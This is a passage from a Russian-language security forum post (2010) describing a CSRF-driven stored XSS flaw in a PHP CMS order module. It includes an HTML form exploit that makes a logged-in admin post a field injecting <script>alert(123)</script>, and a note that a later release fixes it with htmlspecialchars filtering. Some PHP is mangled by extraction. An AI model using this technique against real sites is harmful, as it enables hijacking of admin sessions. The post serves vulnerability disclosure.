    ."<div class=\"button\"><input type=\"hidden\" name=\"op\" value=\"send\"><input type=\"submit\" value=\""._OR_4."\" class=\"fbutton\"></div></form>";
            
    close();
        } else {
            
    warning(""._OR_5.""""""2);
        }
        
    foot();
    }...
    Функция order() вызываеться по умолчанию
    PHP:
    ...switch($op) {
        default:
        
    order();
        break;...
    Result:
    - формиуем код;
    - заставляем админа послать пост-запрос (ну понятно что он должен быть авторизирован!).

    Простой пример експлуатации:
    HTML:
    <form action="http://anti/index.php?name=order">
     <p><b>Каким браузером в основном пользуетесь:</b><Br>
       <input type="radio" name="browser" value="ie"> Internet Explorer<Br>
       <input type="radio" name="browser" value="opera"> Opera<Br>
       <input type="radio" name="browser" value="firefox"> Firefox<Br>
      </p>
    <input type="hidden" name="com" VALUE="</textarea><script>alert(123)</script>">
    <input type=submit value="Молодца"!">
    </form>
    up
    В самом последнем релизе пофиксено!
    Значение переменной $com и других проганяэться через:
    PHP:
    # HTML and word filter
    function text_filter($message$type="") {
        global 
    $conf;
        
    $message is_array($message) ? fields_save($message) : $message;
        if (
    intval($type) == 2) {
            
    $message htmlspecialchars(trim($message), ENT_QUOTES);
        } else {
            
    $message strip_tags(urldecode($message));
            
    $message htmlspecialchars(trim($message), ENT_QUOTES);
        }
        if (
    $conf['censor'] && intval($type != 1)) {
            
    $censor_l explode(","$conf['censor_l']);
            foreach (
    $censor_l as $val$message preg_replace("#$val#i"$conf['censor_r'], $message);
        }
        return 
    $message;
    }
     
    #360 Strilo4ka, 15 Apr 2010
    Last edited: 15 Apr 2010
    1 person likes this.
Loading...